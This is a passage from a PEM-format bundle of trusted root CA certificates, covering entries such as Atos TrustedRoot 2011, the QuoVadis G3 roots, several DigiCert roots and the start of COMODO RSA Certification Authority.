ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUdAqSzm1nzHoqvNK38DcLZ
SBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiCFoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/F
vudocP05l03Sx5iRUKrERLMjfTlH6VJi1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx970
2cu+fjOlbpSD8DT6IavqjnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGV
WOHAD3bZwI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGjQjBA
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/WSA2AHmgoCJrjNXy
YdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhyNsZt+U2e+iKo4YFWz827n+qrkRk4
r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPACuvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNf
vNoBYimipidx5joifsFvHZVwIEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR
3p1m0IvVVGb6g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN
9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlPBSeOE6Fuwg==
-----END CERTIFICATE-----

Atos TrustedRoot 2011
=====================
-----BEGIN CERTIFICATE-----
MIIDdzCCAl+gAwIBAgIIXDPLYixfszIwDQYJKoZIhvcNAQELBQAwPDEeMBwGA1UEAwwVQXRvcyBU
cnVzdGVkUm9vdCAyMDExMQ0wCwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0xMTA3MDcxNDU4
MzBaFw0zMDEyMzEyMzU5NTlaMDwxHjAcBgNVBAMMFUF0b3MgVHJ1c3RlZFJvb3QgMjAxMTENMAsG
A1UECgwEQXRvczELMAkGA1UEBhMCREUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCV
hTuXbyo7LjvPpvMpNb7PGKw+qtn4TaA+Gke5vJrf8v7MPkfoepbCJI419KkM/IL9bcFyYie96mvr
54rMVD6QUM+A1JX76LWC1BTFtqlVJVfbsVD2sGBkWXppzwO3bw2+yj5vdHLqqjAqc2K+SZFhyBH+
DgMq92og3AIVDV4VavzjgsG1xZ1kCWyjWZgHJ8cblithdHFsQ/H3NYkQ4J7sVaE3IqKHBAUsR320
HLliKWYoyrfhk/WklAOZuXCFteZI6o1Q/NnezG8HDt0Lcp2AMBYHlT8oDv3FdU9T1nSatCQujgKR
z3bFmx5VdJx4IbHwLfELn8LVlhgf8FQieowHAgMBAAGjfTB7MB0GA1UdDgQWBBSnpQaxLKYJYO7R
l+lwrrw7GWzbITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKelBrEspglg7tGX6XCuvDsZ
bNshMBgGA1UdIAQRMA8wDQYLKwYBBAGwLQMEAQEwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEB
CwUAA4IBAQAmdzTblEiGKkGdLD4GkGDEjKwLVLgfuXvTBznk+j57sj1O7Z8jvZfza1zv7v1Apt+h
k6EKhqzvINB5Ab149xnYJDE0BAGmuhWawyfc2E8PzBhj/5kPDpFrdRbhIfzYJsdHt6bPWHJxfrrh
TZVHO8mvbaG0weyJ9rQPOLXiZNwlz6bb65pcmaHFCN795trV1lpFDMS3wrUU77QR/w4VtfX128a9
61qn8FYiqTxlVMYVqL2Gns2Dlmh6cYGJ4Qvh6hEbaAjMaZ7snkGeRDImeuKHCnE96+RapNLbxc3G
3mB/ufNPRJLvKrcYPqcZ2Qt9sTdBQrC6YB3y/gkRsPCHe6ed
-----END CERTIFICATE-----

QuoVadis Root CA 1 G3
=====================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIUeFhfLq0sGUvjNwc1NBMotZbUZZMwDQYJKoZIhvcNAQELBQAwSDELMAkG
A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv
b3QgQ0EgMSBHMzAeFw0xMjAxMTIxNzI3NDRaFw00MjAxMTIxNzI3NDRaMEgxCzAJBgNVBAYTAkJN
MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDEg
RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCgvlAQjunybEC0BJyFuTHK3C3kEakE
PBtVwedYMB0ktMPvhd6MLOHBPd+C5k+tR4ds7FtJwUrVu4/sh6x/gpqG7D0DmVIB0jWerNrwU8lm
PNSsAgHaJNM7qAJGr6Qc4/hzWHa39g6QDbXwz8z6+cZM5cOGMAqNF34168Xfuw6cwI2H44g4hWf6
Pser4BOcBRiYz5P1sZK0/CPTz9XEJ0ngnjybCKOLXSoh4Pw5qlPafX7PGglTvF0FBM+hSo+LdoIN
ofjSxxR3W5A2B4GbPgb6Ul5jxaYA/qXpUhtStZI5cgMJYr2wYBZupt0lwgNm3fME0UDiTouG9G/l
g6AnhF4EwfWQvTA9xO+oabw4m6SkltFi2mnAAZauy8RRNOoMqv8hjlmPSlzkYZqn0ukqeI1RPToV
7qJZjqlc3sX5kCLliEVx3ZGZbHqfPT2YfF72vhZooF6uCyP8Wg+qInYtyaEQHeTTRCOQiJ/GKubX
9ZqzWB4vMIkIG1SitZgj7Ah3HJVdYdHLiZxfokqRmu8hqkkWCKi9YSgxyXSthfbZxbGL0eUQMk1f
iyA6PEkfM4VZDdvLCXVDaXP7a3F98N/ETH3Goy7IlXnLc6KOTk0k+17kBL5yG6YnLUlamXrXXAkg
t3+UuU/xDRxeiEIbEbfnkduebPRq34wGmAOtzCjvpUfzUwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUo5fW816iEOGrRZ88F2Q87gFwnMwwDQYJKoZI
hvcNAQELBQADggIBABj6W3X8PnrHX3fHyt/PX8MSxEBd1DKquGrX1RUVRpgjpeaQWxiZTOOtQqOC
MTaIzen7xASWSIsBx40Bz1szBpZGZnQdT+3Btrm0DWHMY37XLneMlhwqI2hrhVd2cDMT/uFPpiN3
GPoajOi9ZcnPP/TJF9zrx7zABC4tRi9pZsMbj/7sPtPKlL92CiUNqXsCHKnQO18LwIE6PWThv6ct
Tr1NxNgpxiIY0MWscgKCP6o6ojoilzHdCGPDdRS5YCgtW2jgFqlmgiNR9etT2DGbe+m3nUvriBbP
+V04ikkwj+3x6xn0dxoxGE1nVGwvb2X52z3sIexe9PSLymBlVNFxZPT5pqOBMzYzcfCkeF9OrYMh
3jRJjehZrJ3ydlo28hP0r+AJx2EqbPfgna67hkooby7utHnNkDPDs3b69fBsnQGQ+p6Q9pxyz0fa
wx/kNSBT8lTR32GDpgLiJTjehTItXnOQUl1CxM49S+H5GYQd1aJQzEH7QRTDvdbJWqNjZgKAvQU6
O0ec7AAmTPWIUb+oI38YB7AL7YsmoWTTYUrrXJ/es69nA7Mf3W1daWhpq1467HxpvMc7hU6eFbm0
FU/DlXpY18ls6Wy58yljXrQs8C097Vpl4KlbQMJImYFtnh8GKjwStIsPm6Ik8KaN1nrgS7ZklmOV
hMJKzRwuJIczYOXD
-----END CERTIFICATE-----

QuoVadis Root CA 2 G3
=====================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIURFc0JFuBiZs18s64KztbpybwdSgwDQYJKoZIhvcNAQELBQAwSDELMAkG
A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv
b3QgQ0EgMiBHMzAeFw0xMjAxMTIxODU5MzJaFw00MjAxMTIxODU5MzJaMEgxCzAJBgNVBAYTAkJN
MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDIg
RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQChriWyARjcV4g/Ruv5r+LrI3HimtFh
ZiFfqq8nUeVuGxbULX1QsFN3vXg6YOJkApt8hpvWGo6t/x8Vf9WVHhLL5hSEBMHfNrMWn4rjyduY
NM7YMxcoRvynyfDStNVNCXJJ+fKH46nafaF9a7I6JaltUkSs+L5u+9ymc5GQYaYDFCDy54ejiK2t
oIz/pgslUiXnFgHVy7g1gQyjO/Dh4fxaXc6AcW34Sas+O7q414AB+6XrW7PFXmAqMaCvN+ggOp+o
MiwMzAkd056OXbxMmO7FGmh77FOm6RQ1o9/NgJ8MSPsc9PG/Srj61YxxSscfrf5BmrODXfKEVu+l
V0POKa2Mq1W/xPtbAd0jIaFYAI7D0GoT7RPjEiuA3GfmlbLNHiJuKvhB1PLKFAeNilUSxmn1uIZo
L1NesNKqIcGY5jDjZ1XHm26sGahVpkUG0CM62+tlXSoREfA7T8pt9DTEceT/AFr2XK4jYIVz8eQQ
sSWu1ZK7E8EM4DnatDlXtas1qnIhO4M15zHfeiFuuDIIfR0ykRVKYnLP43ehvNURG3YBZwjgQQvD
6xVu+KQZ2aKrr+InUlYrAoosFCT5v0ICvybIxo/gbjh9Uy3l7ZizlWNof/k19N+IxWA1ksB8aRxh
lRbQ694Lrz4EEEVlWFA4r0jyWbYW8jwNkALGcC4BrTwV1wIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU7edvdlq/YOxJW8ald7tyFnGbxD0wDQYJKoZI
hvcNAQELBQADggIBAJHfgD9DCX5xwvfrs4iP4VGyvD11+ShdyLyZm3tdquXK4Qr36LLTn91nMX66
AarHakE7kNQIXLJgapDwyM4DYvmL7ftuKtwGTTwpD4kWilhMSA/ohGHqPHKmd+RCroijQ1h5fq7K
pVMNqT1wvSAZYaRsOPxDMuHBR//47PERIjKWnML2W2mWeyAMQ0GaW/ZZGYjeVYg3UQt4XAoeo0L9
x52ID8DyeAIkVJOviYeIyUqAHerQbj5hLja7NQ4nlv1mNDthcnPxFlxHBlRJAHpYErAK74X9sbgz
dWqTHBLmYF5vHX/JHyPLhGGfHoJE+V+tYlUkmlKY7VHnoX6XOuYvHxHaU4AshZ6rNRDbIl9qxV6X
U/IyAgkwo1jwDQHVcsaxfGl7w/U2Rcxhbl5MlMVerugOXou/983g7aEOGzPuVBj+D77vfoRrQ+Nw
mNtddbINWQeFFSM51vHfqSYP1kjHs6Yi9TM3WpVHn3u6GBVv/9YUZINJ0gpnIdsPNWNgKCLjsZWD
zYWm3S8P52dSbrsvhXz1SnPnxT7AvSESBT/8twNJAlvIJebiVDj1eYeMHVOyToV7BjjHLPj4sHKN
JeV3UvQDHEimUF+IIDBu8oJDqz2XhOdT+yHBTw8imoa4WSr2Rz0ZiC3oheGe7IUIarFsNMkd7Egr
O3jtZsSOeWmD3n+M
-----END CERTIFICATE-----

QuoVadis Root CA 3 G3
=====================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIULvWbAiin23r/1aOp7r0DoM8Sah0wDQYJKoZIhvcNAQELBQAwSDELMAkG
A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv
b3QgQ0EgMyBHMzAeFw0xMjAxMTIyMDI2MzJaFw00MjAxMTIyMDI2MzJaMEgxCzAJBgNVBAYTAkJN
MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDMg
RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCzyw4QZ47qFJenMioKVjZ/aEzHs286
IxSR/xl/pcqs7rN2nXrpixurazHb+gtTTK/FpRp5PIpM/6zfJd5O2YIyC0TeytuMrKNuFoM7pmRL
Mon7FhY4futD4tN0SsJiCnMK3UmzV9KwCoWdcTzeo8vAMvMBOSBDGzXRU7Ox7sWTaYI+FrUoRqHe
6okJ7UO4BUaKhvVZR74bbwEhELn9qdIoyhA5CcoTNs+cra1AdHkrAj80//ogaX3T7mH1urPnMNA3
I4ZyYUUpSFlob3emLoG+B01vr87ERRORFHAGjx+f+IdpsQ7vw4kZ6+ocYfx6bIrc1gMLnia6Et3U
VDmrJqMz6nWB2i3ND0/kA9HvFZcba5DFApCTZgIhsUfei5pKgLlVj7WiL8DWM2fafsSntARE60f7
5li59wzweyuxwHApw0BiLTtIadwjPEjrewl5qW3aqDCYz4ByA4imW0aucnl8CAMhZa634RylsSqi
Md5mBPfAdOhx3v89WcyWJhKLhZVXGqtrdQtEPREoPHtht+KPZ0/l7DxMYIBpVzgeAVuNVejH38DM
dyM0SXV89pgR6y3e7UEuFAUCf+D+IOs15xGsIs5XPd7JMG0QA4XN8f+MFrXBsj6IbGB/kE+V9/Yt
rQE5BwT6dYB9v0lQ7e/JxHwc64B+27bQ3RP+ydOc17KXqQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUxhfQvKjqAkPyGwaZXSuQILnXnOQwDQYJKoZI
hvcNAQELBQADggIBADRh2Va1EodVTd2jNTFGu6QHcrxfYWLopfsLN7E8trP6KZ1/AvWkyaiTt3px
KGmPc+FSkNrVvjrlt3ZqVoAh313m6Tqe5T72omnHKgqwGEfcIHB9UqM+WXzBusnIFUBhynLWcKzS
t/Ac5IYp8M7vaGPQtSCKFWGafoaYtMnCdvvMujAWzKNhxnQT5WvvoxXqA/4Ti2Tk08HS6IT7SdEQ
TXlm66r99I0xHnAUrdzeZxNMgRVhvLfZkXdxGYFgu/BYpbWcC/ePIlUnwEsBbTuZDdQdm2NnL9Du
DcpmvJRPpq3t/O5jrFc/ZSXPsoaP0Aj/uHYUbt7lJ+yreLVTubY/6CD50qi+YUbKh4yE8/nxoGib
Ih6BJpsQBJFxwAYf3KDTuVan45gtf4Od34wrnDKOMpTwATwiKp9Dwi7DmDkHOHv8XgBCH/MyJnmD
hPbl8MFREsALHgQjDFSlTC9JxUrRtm5gDWv8a4uFJGS3iQ6rJUdbPM9+Sb3H6QrG2vd+DhcI00iX
0HGS8A85PjRqHH3Y8iKuu2n0M7SmSFXRDw4m6Oy2Cy2nhTXN/VnIn9HNPlopNLk9hM6xZdRZkZFW
dSHBd575euFgndOtBBj0fOtek49TSiIp+EgrPk2GrFt/ywaZWWDYWGWVjUTR939+J399roD1B0y2
PpxxVJkES/1Y+Zj0
-----END CERTIFICATE-----

DigiCert Assured ID Root G2
===========================
-----BEGIN CERTIFICATE-----
MIIDljCCAn6gAwIBAgIQC5McOtY5Z+pnI7/Dr5r0SzANBgkqhkiG9w0BAQsFADBlMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw
IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIwHhcNMTMwODAxMTIwMDAwWhcNMzgw
MTE1MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL
ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIw
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDZ5ygvUj82ckmIkzTz+GoeMVSAn61UQbVH
35ao1K+ALbkKz3X9iaV9JPrjIgwrvJUXCzO/GU1BBpAAvQxNEP4HteccbiJVMWWXvdMX0h5i89vq
bFCMP4QMls+3ywPgym2hFEwbid3tALBSfK+RbLE4E9HpEgjAALAcKxHad3A2m67OeYfcgnDmCXRw
VWmvo2ifv922ebPynXApVfSr/5Vh88lAbx3RvpO704gqu52/clpWcTs/1PPRCv4o76Pu2ZmvA9OP
YLfykqGxvYmJHzDNw6YuYjOuFgJ3RFrngQo8p0Quebg/BLxcoIfhG69Rjs3sLPr4/m3wOnyqi+Rn
lTGNAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTO
w0q5mVXyuNtgv6l+vVa1lzan1jANBgkqhkiG9w0BAQsFAAOCAQEAyqVVjOPIQW5pJ6d1Ee88hjZv
0p3GeDgdaZaikmkuOGybfQTUiaWxMTeKySHMq2zNixya1r9I0jJmwYrA8y8678Dj1JGG0VDjA9tz
d29KOVPt3ibHtX2vK0LRdWLjSisCx1BL4GnilmwORGYQRI+tBev4eaymG+g3NJ1TyWGqolKvSnAW
hsI6yLETcDbYz+70CjTVW0z9B5yiutkBclzzTcHdDrEcDcRjvq30FPuJ7KJBDkzMyFdA0G4Dqs0M
jomZmWzwPDCvON9vvKO+KSAnq3T/EyJ43pdSVR6DtVQgA+6uwE9W3jfMw3+qBCe703e4YtsXfJwo
IhNzbM8m9Yop5w==
-----END CERTIFICATE-----

DigiCert Assured ID Root G3
===========================
-----BEGIN CERTIFICATE-----
MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV
UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQwIgYD
VQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1
MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQ
BgcqhkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJfZn4f5dwb
RXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17QRSAPWXYQ1qAk8C3eNvJs
KTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgF
UaFNN6KDec6NHSrkhDAKBggqhkjOPQQDAwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5Fy
YZ5eEJJZVrmDxxDnOOlYJjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy
1vUhZscv6pZjamVFkpUBtA==
-----END CERTIFICATE-----

DigiCert Global Root G2
=======================
-----BEGIN CERTIFICATE-----
MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw
HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUx
MjAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3
dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkq
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI2/Ou8jqJ
kTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx1x7e/dfgy5SDN67sH0NO
3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQq2EGnI/yuum06ZIya7XzV+hdG82MHauV
BJVJ8zUtluNJbd134/tJS7SsVQepj5WztCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyM
UNGPHgm+F6HmIcr9g+UQvIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQAB
o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV5uNu
5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY1Yl9PMWLSn/pvtsr
F9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4NeF22d+mQrvHRAiGfzZ0JFrabA0U
WTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NGFdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBH
QRFXGU7Aj64GxJUTFy8bJZ918rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/
iyK5S9kJRaTepLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl
MrY=
-----END CERTIFICATE-----

DigiCert Global Root G3
=======================
-----BEGIN CERTIFICATE-----
MIICPzCCAcWgAwIBAgIQBVVWvPJepDU1w6QP1atFcjAKBggqhkjOPQQDAzBhMQswCQYDVQQGEwJV
UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYD
VQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMzAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAw
MDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k
aWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEczMHYwEAYHKoZIzj0C
AQYFK4EEACIDYgAE3afZu4q4C/sLfyHS8L6+c/MzXRq8NOrexpu80JX28MzQC7phW1FGfp4tn+6O
YwwX7Adw9c+ELkCDnOg/QW07rdOkFFk2eJ0DQ+4QE2xy3q6Ip6FrtUPOZ9wj/wMco+I+o0IwQDAP
BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUs9tIpPmhxdiuNkHMEWNp
Yim8S8YwCgYIKoZIzj0EAwMDaAAwZQIxAK288mw/EkrRLTnDCgmXc/SINoyIJ7vmiI1Qhadj+Z4y
3maTD/HMsQmP3Wyr+mt/oAIwOWZbwmSNuJ5Q3KjVSaLtx9zRSX8XAbjIho9OjIgrqJqpisXRAL34
VOKa5Vt8sycX
-----END CERTIFICATE-----

DigiCert Trusted Root G4
========================
-----BEGIN CERTIFICATE-----
MIIFkDCCA3igAwIBAgIQBZsbV56OITLiOQe9p3d1XDANBgkqhkiG9w0BAQwFADBiMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSEw
HwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1
MTIwMDAwWjBiMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0G
CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC/5pBzaN675F1KPDAiMGkz7MKnJS7JIT3yithZwuEp
pz1Yq3aaza57G4QNxDAf8xukOBbrVsaXbR2rsnnyyhHS5F/WBTxSD1Ifxp4VpX6+n6lXFllVcq9o
k3DCsrp1mWpzMpTREEQQLt+C8weE5nQ7bXHiLQwb7iDVySAdYyktzuxeTsiT+CFhmzTrBcZe7Fsa
vOvJz82sNEBfsXpm7nfISKhmV1efVFiODCu3T6cw2Vbuyntd463JT17lNecxy9qTXtyOj4DatpGY
QJB5w3jHtrHEtWoYOAMQjdjUN6QuBX2I9YI+EJFwq1WCQTLX2wRzKm6RAXwhTNS8rhsDdV14Ztk6
MUSaM0C/CNdaSaTC5qmgZ92kJ7yhTzm1EVgX9yRcRo9k98FpiHaYdj1ZXUJ2h4mXaXpI8OCiEhtm
mnTK3kse5w5jrubU75KSOp493ADkRSWJtppEGSt+wJS00mFt6zPZxd9LBADMfRyVw4/3IbKyEbe7
f/LVjHAsQWCqsWMYRJUadmJ+9oCw++hkpjPRiQfhvbfmQ6QYuKZ3AeEPlAwhHbJUKSWJbOUOUlFH
dL4mrLZBdd56rF+NP8m800ERElvlEFDrMcXKchYiCd98THU/Y+whX8QgUWtvsauGi0/C1kVfnSD8
oR7FwI+isX4KJpn15GkvmB0t9dmpsh3lGwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud
DwEB/wQEAwIBhjAdBgNVHQ4EFgQU7NfjgtJxXWRM3y5nP+e6mK4cD08wDQYJKoZIhvcNAQEMBQAD
ggIBALth2X2pbL4XxJEbw6GiAI3jZGgPVs93rnD5/ZpKmbnJeFwMDF/k5hQpVgs2SV1EY+CtnJYY
ZhsjDT156W1r1lT40jzBQ0CuHVD1UvyQO7uYmWlrx8GnqGikJ9yd+SeuMIW59mdNOj6PWTkiU0Tr
yF0Dyu1Qen1iIQqAyHNm0aAFYF/opbSnr6j3bTWcfFqK1qI4mfN4i/RN0iAL3gTujJtHgXINwBQy
7zBZLq7gcfJW5GqXb5JQbZaNaHqasjYUegbyJLkJEVDXCLG4iXqEI2FCKeWjzaIgQdfRnGTZ6iah
ixTXTBmyUEFxPT9NcCOGDErcgdLMMpSEDQgJlxxPwO5rIHQw0uA5NBCFIRUBCOhVMt5xSdkoF1BN
5r5N0XWs0Mr7QbhDparTwwVETyw2m+L64kW4I1NsBm9nVX9GtUw/bihaeSbSpKhil9Ie4u1Ki7wb
/UdKDd9nZn6yW0HQO+T0O/QEY+nvwlQAUaCKKsnOeMzV6ocEGLPOr0mIr/OSmbaz5mEP0oUA51Aa
5BuVnRmhuZyxm7EAHu/QD09CbMkKvO5D+jpxpchNJqU1/YldvIViHTLSoCtU7ZpXwdv6EM8Zt4tK
G48BtieVU+i2iW1bvGjUI+iLUaJW+fCmgKDWHrO8Dw9TdSmq6hN35N6MgSGtBxBHEa2HPQfRdbzP
82Z+
-----END CERTIFICATE-----

COMODO RSA Certification Authority
==================================
-----BEGIN CERTIFICATE-----
MIIF2DCCA8CgAwIBAgIQTKr5yttjb+Af907YWwOGnTANBgkqhkiG9w0BAQwFADCBhTELMAkGA1UE
BhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgG
A1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwHhcNMTAwMTE5MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMC
R0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UE
ChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBB
dXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCR6FSS0gpWsawNJN3Fz0Rn
dJkrN6N9I3AAcbxT38T6KhKPS38QVr2fcHK3YX/JSw8Xpz3jsARh7v8Rl8f0hj4K+j5c+ZPmNHrZ
FGvnnLOFoIJ6dq9xkNfs/Q36nGz637CC9BR++b7Epi9Pf5l/tfxnQ3K9DADWietrLNPtj5gcFKt+
5eNu/Nio5JIk2kNrYrhV/erBvGy2i/MOjZrkm2xpmfh4SDBF1a3hDTxFYPwyllEnvGfDyi62a+pG
x8cgoLEfZd5ICLqkTqnyg0Y3hOvozIFIQ2dOciqbXL1MGyiKXCJ7tKuY2e7gUYPDCUZObT6Z+pUX
2nwzV0E8jVHtC7ZcryxjGt9XyD+86V3Em69FmeKjWiS0uqlWPc9vqv9JWL7wqP/0uK3pN/u6uPQL
OvnoQ0IeidiEyxPx2bvhiWC4jChWrBQdnArncevPDt09qZahSL0896+1DSJMwBGB7FY79tOi4lu3
sgQiUpWAk2nojkxl8ZEDLXB0AuqLZxUpaVICu9ffUGpVRr+goyhhf3DQw6KqLCGqR84onAZFdr+C
GCe01a60y1Dma/RMhnEw6abfFobg2P9A3fvQQoh/ozM6LlweQRGBY84YcWsr7KaKtzFcOmpH4MN5
WdYgGq/yapiqcrxXStJLnbsQ/LBMQeXtHT1eKJ2czL+zUdqnR+WEUwIDAQABo0IwQDAdBgNVHQ4E
FgQUu69+Aj36pvE8hI6t7jiY7NkyMtQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8w
